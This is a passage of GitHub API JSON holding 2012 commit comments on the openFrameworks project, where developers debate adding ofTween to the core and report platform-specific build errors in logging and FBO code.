addon?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/933124","html_url":"https://github.com/openframeworks/openFrameworks/commit/1859bee20ca281f2f9f111e46c14a0b30e7096b9#commitcomment-933124","id":933124,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1859bee20ca281f2f9f111e46c14a0b30e7096b9","created_at":"2012-02-04T15:44:32Z","updated_at":"2012-02-04T15:44:32Z","body":"I think more of an issue is why are we adding this to the core without it being discussed? \r\nI see one issue posted by kyle https://github.com/openframeworks/openFrameworks/issues/882 \r\nBut this is not something that was part of a roadmap or in anyway signed off by all of us. \r\n\r\nIn general we shouldn't be adding big parts to the core API without a proper discussion first. \r\nThis is how the core gets bloated fast and also how the roadmap of OF starts to take quite a random path. \r\n\r\nBug fixes are one thing but adding something which exists as an addon as part of the core should be signed off by the core team and not just one of us. \r\n\r\n//--end rant \r\n\r\nThat said, I don't think I am 100% against tweening in the core. \r\nI would like to see a good example app showing ALL of the ofTween api as a requirement to properly evaluate it ( as it wasn't written by the core team ). \r\n\r\n "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/933234","html_url":"https://github.com/openframeworks/openFrameworks/commit/1859bee20ca281f2f9f111e46c14a0b30e7096b9#commitcomment-933234","id":933234,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1859bee20ca281f2f9f111e46c14a0b30e7096b9","created_at":"2012-02-04T17:15:42Z","updated_at":"2012-02-04T17:15:42Z","body":"Yeah, sorry, should have sent a pull request.\r\n\r\nthe only api to the current ofTween is just:\r\n\r\nofMap(value, minIn, maxIn, minOut, maxOut, easingFunction, clamp);\r\n\r\nbut anyway, will remove it later and send it as a pull request so we can \r\ndiscuss the api or if we want it at all\r\n\r\nEl 04/02/12 16:44, Theodore Watson escribió:\r\n> I think more of an issue is why are we adding this to the core without it being discussed?\r\n> I see one issue posted by kyle https://github.com/openframeworks/openFrameworks/issues/882\r\n> But this is not something that was part of a roadmap or in anyway signed off by all of us.\r\n>\r\n> In general we shouldn't be adding big parts to the core API without a proper discussion first.\r\n> This is how the core gets bloated fast and also how the roadmap of OF starts to take quite a random path.\r\n>\r\n> Bug fixes are one thing but adding something which exists as an addon as part of the core should be signed off by the core team and not just one of us.\r\n>\r\n> //--end rant\r\n>\r\n> That said, I don't think I am 100% against tweening in the core.\r\n> I would like to see a good example app showing ALL of the ofTween api as a requirement to properly evaluate it ( as it wasn't written by the core team ).\r\n>\r\n> ---\r\n> Reply to this email directly or view it on GitHub:\r\n> https://github.com/openframeworks/openFrameworks/commit/1859bee20ca281f2f9f111e46c14a0b30e7096b9#commitcomment-933124"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/933254","html_url":"https://github.com/openframeworks/openFrameworks/commit/1859bee20ca281f2f9f111e46c14a0b30e7096b9#commitcomment-933254","id":933254,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1859bee20ca281f2f9f111e46c14a0b30e7096b9","created_at":"2012-02-04T17:28:08Z","updated_at":"2012-02-04T17:28:08Z","body":"yeah, the wording in my issue should have been \"we need it in a core addon\". i see the general path as: contributed addon -> core addon -> core.\r\n\r\nthough i think there are arguments for having tweening in the core. there are definitely addons that would use it (e.g., ofxTimeline). it could also make our examples look more awesome."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/933314","html_url":"https://github.com/openframeworks/openFrameworks/commit/1859bee20ca281f2f9f111e46c14a0b30e7096b9#commitcomment-933314","id":933314,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1859bee20ca281f2f9f111e46c14a0b30e7096b9","created_at":"2012-02-04T18:08:15Z","updated_at":"2012-02-04T18:08:15Z","body":"yeah - for sure. I think it could be great to have at the core level. \r\nespecially if it is as simple as just using ofMap - would be good to take a closer look at it. \r\ncurious what @ofZach thinks :) "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/941566","html_url":"https://github.com/openframeworks/openFrameworks/commit/ffa58485f2364b8e09b648a4117c41be192cd394#commitcomment-941566","id":941566,"user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"ffa58485f2364b8e09b648a4117c41be192cd394","created_at":"2012-02-07T16:07:35Z","updated_at":"2012-02-07T16:07:35Z","body":"but ofTween is still included though elsewhere, and therefore oF doesn't build"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/941612","html_url":"https://github.com/openframeworks/openFrameworks/commit/ffa58485f2364b8e09b648a4117c41be192cd394#commitcomment-941612","id":941612,"user":{"login":"expokorea","id":1415701,"avatar_url":"https://secure.gravatar.com/avatar/f891165d0d09753cb53f7d85e7e97572?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f891165d0d09753cb53f7d85e7e97572","url":"https://api.github.com/users/expokorea","html_url":"https://github.com/expokorea","followers_url":"https://api.github.com/users/expokorea/followers","following_url":"https://api.github.com/users/expokorea/following{/other_user}","gists_url":"https://api.github.com/users/expokorea/gists{/gist_id}","starred_url":"https://api.github.com/users/expokorea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/expokorea/subscriptions","organizations_url":"https://api.github.com/users/expokorea/orgs","repos_url":"https://api.github.com/users/expokorea/repos","events_url":"https://api.github.com/users/expokorea/events{/privacy}","received_events_url":"https://api.github.com/users/expokorea/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"ffa58485f2364b8e09b648a4117c41be192cd394","created_at":"2012-02-07T16:19:09Z","updated_at":"2012-02-07T16:19:09Z","body":"crap, sorry, it's fixed now"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/952041","html_url":"https://github.com/openframeworks/openFrameworks/commit/399ab3c39b6f97b85500fe5aeee4bf2a28943530#commitcomment-952041","id":952041,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"399ab3c39b6f97b85500fe5aeee4bf2a28943530","created_at":"2012-02-10T02:22:32Z","updated_at":"2012-02-10T02:22:32Z","body":"this causes build errors because you can't add const char* together. this is why ofLogNotice() with the stream operator is preferred. i'll send a fix."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/952647","html_url":"https://github.com/openframeworks/openFrameworks/commit/399ab3c39b6f97b85500fe5aeee4bf2a28943530#commitcomment-952647","id":952647,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"399ab3c39b6f97b85500fe5aeee4bf2a28943530","created_at":"2012-02-10T08:37:47Z","updated_at":"2012-02-10T08:41:47Z","body":"Interesting. I'm pretty sure that I tested/compiled on my Ubuntu, and I didn't get any build errors. \r\nWhere exactly did you get them? All those four occurences you changed in PR 911? Cause this line doesn't even add char*, so I don't see how this could lead to a problem, right?\r\n`ofLog(OF_LOG_NOTICE, \"[%i] = %s\", devices[k].getDeviceID(), devices[k].getDeviceName().c_str());`\r\n\r\nBut yeah, those things are why I asked people for testing in the original PR... :-) thanks for catching this!\r\n\r\nI got to admit, my favourite is the \"(f)printf-style\" of constructing the string, gives nice control over the printout, precision, etc.\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/952655","html_url":"https://github.com/openframeworks/openFrameworks/commit/399ab3c39b6f97b85500fe5aeee4bf2a28943530#commitcomment-952655","id":952655,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"399ab3c39b6f97b85500fe5aeee4bf2a28943530","created_at":"2012-02-10T08:43:08Z","updated_at":"2012-02-10T08:43:08Z","body":"the one you point out didn't have an error, that was just for the sake of consistency :)\r\n\r\nthis was definitely an error:\r\n\r\nofLog(OF_LOG_NOTICE, \"device[\" + deviceCount + \"] \" + p2cstr(pascalName) + \" - \" + p2cstr(pascalNameInput))\r\n\r\nyou probably didn't see it cause it's surrounded in a big #ifdef OF_VIDEO_CAPTURE_QUICKTIME"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/952686","html_url":"https://github.com/openframeworks/openFrameworks/commit/399ab3c39b6f97b85500fe5aeee4bf2a28943530#commitcomment-952686","id":952686,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"399ab3c39b6f97b85500fe5aeee4bf2a28943530","created_at":"2012-02-10T08:58:41Z","updated_at":"2012-02-10T08:59:56Z","body":"Ah OK, that makes more sense. Just to be clear, that way of calling ofLog doesn't have any pitfalls (except preference), right?\r\n\r\nAlso, the ifdefs, figured that out a minute after posting. :-P\r\n\r\nWhile we're at it, could you maybe take a look at issue #294 again? I can't cause that part is definitely MacOS-only, and it would close issue #833, too.\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/960117","html_url":"https://github.com/openframeworks/openFrameworks/commit/8bfde75beefc27e53c6cfb503db0035b0f828dfd#commitcomment-960117","id":960117,"user":{"login":"falcon4ever","id":480019,"avatar_url":"https://secure.gravatar.com/avatar/4a503abeaa3d803e55e99093fbf1505d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4a503abeaa3d803e55e99093fbf1505d","url":"https://api.github.com/users/falcon4ever","html_url":"https://github.com/falcon4ever","followers_url":"https://api.github.com/users/falcon4ever/followers","following_url":"https://api.github.com/users/falcon4ever/following{/other_user}","gists_url":"https://api.github.com/users/falcon4ever/gists{/gist_id}","starred_url":"https://api.github.com/users/falcon4ever/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/falcon4ever/subscriptions","organizations_url":"https://api.github.com/users/falcon4ever/orgs","repos_url":"https://api.github.com/users/falcon4ever/repos","events_url":"https://api.github.com/users/falcon4ever/events{/privacy}","received_events_url":"https://api.github.com/users/falcon4ever/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"8bfde75beefc27e53c6cfb503db0035b0f828dfd","created_at":"2012-02-13T13:15:21Z","updated_at":"2012-02-13T13:15:21Z","body":"Just FYI, this patch breaks the Android build, there is no GL_DEPTH_COMPONENT32 in this target."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/960144","html_url":"https://github.com/openframeworks/openFrameworks/commit/8bfde75beefc27e53c6cfb503db0035b0f828dfd#commitcomment-960144","id":960144,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"8bfde75beefc27e53c6cfb503db0035b0f828dfd","created_at":"2012-02-13T13:25:29Z","updated_at":"2012-02-13T13:25:29Z","body":"thanks, it's fixed now"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/972117","html_url":"https://github.com/openframeworks/openFrameworks/commit/8bfde75beefc27e53c6cfb503db0035b0f828dfd#commitcomment-972117","id":972117,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"8bfde75beefc27e53c6cfb503db0035b0f828dfd","created_at":"2012-02-16T01:06:22Z","updated_at":"2012-02-16T01:06:22Z","body":"hi, this is still broken for iphone.\r\nalso no GL_DEPTH_COMPONENT32"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/973164","html_url":"https://github.com/openframeworks/openFrameworks/commit/8bfde75beefc27e53c6cfb503db0035b0f828dfd#commitcomment-973164","id":973164,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"8bfde75beefc27e53c6cfb503db0035b0f828dfd","created_at":"2012-02-16T10:05:11Z","updated_at":"2012-02-16T10:05:11Z","body":"yes, sorry the ifdef is incorrect, it's fixed now"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/973373","html_url":"https://github.com/openframeworks/openFrameworks/commit/8bfde75beefc27e53c6cfb503db0035b0f828dfd#commitcomment-973373","id":973373,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"8bfde75beefc27e53c6cfb503db0035b0f828dfd","created_at":"2012-02-16T11:11:50Z","updated_at":"2012-02-16T11:11:50Z","body":"hi arturo,\r\ncan't see this fix in the develop branch yet?\r\nis it going to come through as a new commit?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/973415","html_url":"https://github.com/openframeworks/openFrameworks/commit/8bfde75beefc27e53c6cfb503db0035b0f828dfd#commitcomment-973415","id":973415,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"8bfde75beefc27e53c6cfb503db0035b0f828dfd","created_at":"2012-02-16T11:29:10Z","updated_at":"2012-02-16T11:29:10Z","body":"there it is, i uploaded it to my fork instead of the main repo before.\r\n\r\nEl 16/02/12 12:11, lukasz karluk escribió:\r\n> hi arturo,\r\n> can't see this fix in the develop branch yet?\r\n> is it going to come through as a new commit?\r\n>\r\n> ---\r\n> Reply to this email directly or view it on GitHub:\r\n> https://github.com/openframeworks/openFrameworks/commit/8bfde75beefc27e53c6cfb503db0035b0f828dfd#commitcomment-973373"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/973426","html_url":"https://github.com/openframeworks/openFrameworks/commit/8bfde75beefc27e53c6cfb503db0035b0f828dfd#commitcomment-973426","id":973426,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"8bfde75beefc27e53c6cfb503db0035b0f828dfd","created_at":"2012-02-16T11:33:41Z","updated_at":"2012-02-16T11:33:41Z","body":"awesome, thx."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/973455","html_url":"https://github.com/openframeworks/openFrameworks/commit/5b1f22a80109b1d3abb339cc2fc15ac3f8798849#commitcomment-973455","id":973455,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":12,"line":449,"path":"libs/openFrameworks/gl/ofFbo.cpp","commit_id":"5b1f22a80109b1d3abb339cc2fc15ac3f8798849","created_at":"2012-02-16T11:43:48Z","updated_at":"2012-02-16T11:43:48Z","body":"this line is throwing an error on iphone, GL_UNSIGNED_INT is undeclared."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/973460","html_url":"https://github.com/openframeworks/openFrameworks/commit/5b1f22a80109b1d3abb339cc2fc15ac3f8798849#commitcomment-973460","id":973460,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":14,"line":451,"path":"libs/openFrameworks/gl/ofFbo.cpp","commit_id":"5b1f22a80109b1d3abb339cc2fc15ac3f8798849","created_at":"2012-02-16T11:44:11Z","updated_at":"2012-02-16T11:44:11Z","body":"this line is also throwing an error on iphone, GL_UNSIGNED_INT is undeclared."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/973481","html_url":"https://github.com/openframeworks/openFrameworks/commit/5b1f22a80109b1d3abb339cc2fc15ac3f8798849#commitcomment-973481","id":973481,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/pri